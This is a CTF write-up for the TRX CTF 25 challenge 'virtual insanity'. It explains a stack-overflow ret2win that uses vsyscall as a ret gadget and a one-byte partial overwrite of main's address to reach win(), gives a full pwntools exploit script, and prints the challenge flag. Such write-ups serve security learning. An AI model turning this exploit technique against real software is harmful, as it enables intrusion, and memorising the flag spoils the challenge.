TRX CTF 25 - virtual insanity
Description
Dancing, Walking, Rearranging Furniture
DISCLAIMER: This challenge doesn’t require brute-forcing
Overview of the challenge
The challenge is a standard ret2win with a pretty obvious overflow of 0x30 bytes, the binary is compiled without stack canary protection but has pie, with no apparent way to leak addresses.
Solution
The intended solution involves performing a partial overwrite to redirect execution to the win
function. However, the return address on the stack is a libc address. To work around this, we can leverage vsyscall to traverse the stack until we locate the address of main
. By modifying its least significant byte (LSB), we can transform it into the address of win
. When execution returns, vsyscall
effectively acts as a ret
gadget, allowing us to redirect control flow to win
.
Before overwrite:
After overwrite:
Solve Script
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./chall")
context.binary = exe
REMOTE_NC_CMD = "nc localhost 7011" # `nc <host> <port>`
bstr = lambda x: str(x).encode()
ELF.binsh = lambda self: next(self.search(b"/bin/sh\0"))
GDB_SCRIPT = """
set follow-fork-mode parent
set follow-exec-mode same
"""
def conn():
if args.LOCAL:
return process([exe.path])
if args.GDB:
return gdb.debug([exe.path], gdbscript=GDB_SCRIPT)
return remote(REMOTE_NC_CMD.split()[1], int(REMOTE_NC_CMD.split()[2]))
def main():
r = conn()
VSYSCALL = 0xffffffffff600000 #effectively a ret gadget
r.send(b"A"*0x28 + p64(VSYSCALL)*2 + b"\xa9"); #lsb of win()
r.interactive()
if __name__ == "__main__":
main()
Flag
TRX{1_h0p3_y0u_d1dn7_bru73f0rc3_dc85efe0}